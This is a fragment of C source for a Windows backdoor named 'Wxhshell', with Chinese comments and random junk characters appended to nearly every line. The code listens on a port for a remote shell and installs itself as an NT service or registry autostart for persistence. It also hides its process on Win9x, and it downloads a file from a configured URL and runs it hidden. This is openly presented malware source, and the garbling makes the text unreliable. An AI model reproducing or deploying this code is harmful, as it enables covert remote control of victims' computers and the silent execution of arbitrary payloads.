DWORD BasePriority; ^`BiA'gPPC
ULONG UniqueProcessId; -'q#u C
ULONG InheritedFromUniqueProcessId; 8ClOd<I
} PROCESS_BASIC_INFORMATION; z' oK
0"
!06
!`LT
PROCNTQSIP NtQueryInformationProcess; %A]?5J)Bi
E.ugr])
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bSG}I|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %3Ba9Nmid
[9hslk
HANDLE hProcess; g?TPRr~$9
PROCESS_BASIC_INFORMATION pbi; MXVQ90
pZVT:qFF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ][gr(-6 8
if(NULL == hInst ) return 0; ,b b/
$
N9SC\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6}(;~/L
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %a'Nf/9=:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <`PW4zSI
}fS`jq;
if (!NtQueryInformationProcess) return 0; Fl{@B*3@w
jV}tjwq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LBcnBo</v
if(!hProcess) return 0; 4lVvs(W?
\sSt _|+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B4l*]K%
hggP9I:s,
CloseHandle(hProcess); 4G o$OQ`
Ml"i^LR+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z_;:6*l=:
if(hProcess==NULL) return 0; `rWT^E@p5m
5.IX
HMODULE hMod; >TKl`O
char procName[255]; vzXfJP
unsigned long cbNeeded; t)p . $
\f!j9O9S
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 006qj.
6bE~m<B\`
CloseHandle(hProcess); D
,U#z
,
z-#B]
if(strstr(procName,"services")) return 1; // 以服务启动 9"g!J|+
(yr<B_Y'MY
return 0; // 注册表启动 O
,9,=2j
} )R+26wZ|n*
tCF,KP?
// 主模块 w%3*T#tp
int StartWxhshell(LPSTR lpCmdLine) &E/0jxM1
{ 4qYT
SOCKET wsl; U8>M`e"D
BOOL val=TRUE; 'joc8o sS
int port=0; @5=2+ M
struct sockaddr_in door; ZUA%ZkX=F
5#WyI#YNG
if(wscfg.ws_autoins) Install(); ~zd+M/8
4#MPD
port=atoi(lpCmdLine); ='[J.
lTR/o
if(port<=0) port=wscfg.ws_port; tCVaRP8eC+
0etJ, _">
WSADATA data; 3g{T+c*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;^"#3_7T]
SjmWlf,
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2[V9`r8*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qQ{i2D%)?f
door.sin_family = AF_INET; +YX*.dW
door.sin_addr.s_addr = inet_addr("127.0.0.1"); xY=%+o.?*
door.sin_port = htons(port); LQo>wl
xQ]^wT.Q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #~JR_oQE!
closesocket(wsl); <@](uWu
return 1; n>o0PtGxC
} o4U[;.?c
Z'<I
Is:J
if(listen(wsl,2) == INVALID_SOCKET) { R'z
-#*[
closesocket(wsl); ir?Y>
return 1; =qNZ7>Qw
} o9JZ-biH
Wxhshell(wsl); iD(+\:E
WSACleanup(); #;lB5) oe
!RPPwvNk4
return 0; h!!7LPxt
^5{0mn_4i
} -qDM(zR
RAs5<US:
// 以NT服务方式启动 c_N'S_)~7Q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;;]^d_
{ QcN$TxU >
DWORD status = 0; QqdVN3#1z
DWORD specificError = 0xfffffff; &2Q0ii#Aa
M&h`uO/[
serviceStatus.dwServiceType = SERVICE_WIN32; DxvD 1u
serviceStatus.dwCurrentState = SERVICE_START_PENDING; JA]qAr
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hLo>jE
serviceStatus.dwWin32ExitCode = 0; k3-7Vyg
serviceStatus.dwServiceSpecificExitCode = 0; .~C[D
T+,
serviceStatus.dwCheckPoint = 0; nuucYm%IF-
serviceStatus.dwWaitHint = 0; !]l!I9
$j"TPkW{M
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qJZ:\u8oO
if (hServiceStatusHandle==0) return; bkSI1m3
W*!u_]K>
status = GetLastError(); !C>'a:
if (status!=NO_ERROR) >&-"
X# :
{ }|-Yd"$
serviceStatus.dwCurrentState = SERVICE_STOPPED; km=d'VvnI
serviceStatus.dwCheckPoint = 0; Eo@b)h
serviceStatus.dwWaitHint = 0; CW .
O"_
serviceStatus.dwWin32ExitCode = status; rv26vnJy"
serviceStatus.dwServiceSpecificExitCode = specificError; nB.u5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B4/\RC2
return; Z]\IQDC
} <],~V\m
_c@k>"_{S
serviceStatus.dwCurrentState = SERVICE_RUNNING; J69B1Yi
serviceStatus.dwCheckPoint = 0; yu98d1
serviceStatus.dwWaitHint = 0; 6d#:v"^,
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [}1+=Ub
} ,enU`}9V*
'>aj5tZ>R
// 处理NT服务事件,比如:启动、停止 vq_v;$9}
VOID WINAPI NTServiceHandler(DWORD fdwControl) bi<?m^j
{ JXNfE,_
switch(fdwControl) :WM[[LOaC
{ --'!5)U
case SERVICE_CONTROL_STOP: bKb}VP
serviceStatus.dwWin32ExitCode = 0; kfQi}D'a
serviceStatus.dwCurrentState = SERVICE_STOPPED; x/]]~@:
serviceStatus.dwCheckPoint = 0; ](tv`1A,Wd
serviceStatus.dwWaitHint = 0; O~L/>Ya
{ iI@m e=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZL^
svGy
} V.H<KyaJ
return; O<}KrmUC~
case SERVICE_CONTROL_PAUSE: n^+rxG6L
serviceStatus.dwCurrentState = SERVICE_PAUSED; [KT1.5M[
break; _N2tf/C&=
case SERVICE_CONTROL_CONTINUE: -A3>+G3[
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y?b4* me
break; @`S8d%6P
case SERVICE_CONTROL_INTERROGATE: m!H7;S-(
break; l99{ eD
}; bPhb d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fd&=\~1_$
} ?T\_"G
Wti?J.Csc
// 标准应用程序主函数 Au[H!J
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]$xN`O4W{
{ *(*3/P4D
`a:L%Ex
// 获取操作系统版本 dxwH C\"5
OsIsNt=GetOsVer(); =c1t]%P,
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0f]LOg
u''~nSR3&
// 从命令行安装
k\wcj^"cb
if(strpbrk(lpCmdLine,"iI")) Install(); ^a?H"
$Eh8s(
// 下载执行文件 \UR/tlw+/
if(wscfg.ws_downexe) { DAHQ7#qfQC
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cUPC8k.1
WinExec(wscfg.ws_filenam,SW_HIDE); <RPy
} O%R*1
P9
~V?3A/]
if(!OsIsNt) { #fTPo:*t
// 如果时win9x,隐藏进程并且设置为注册表启动 C?47v4n-'
HideProc(); 0{'%j~"
StartWxhshell(lpCmdLine); yG%<LP2p@f
} W%.ou\GN^t
else }ki}J >j|f
if(StartFromService()) TexSUtx@$
// 以服务方式启动 g#b uy
StartServiceCtrlDispatcher(DispatchTable); MDqUl:]
else Qin;{8I0
// 普通方式启动 Or9`E(
StartWxhshell(lpCmdLine); q(YFt*(;w
SWZA`JVK
return 0; @2eV^eO9
}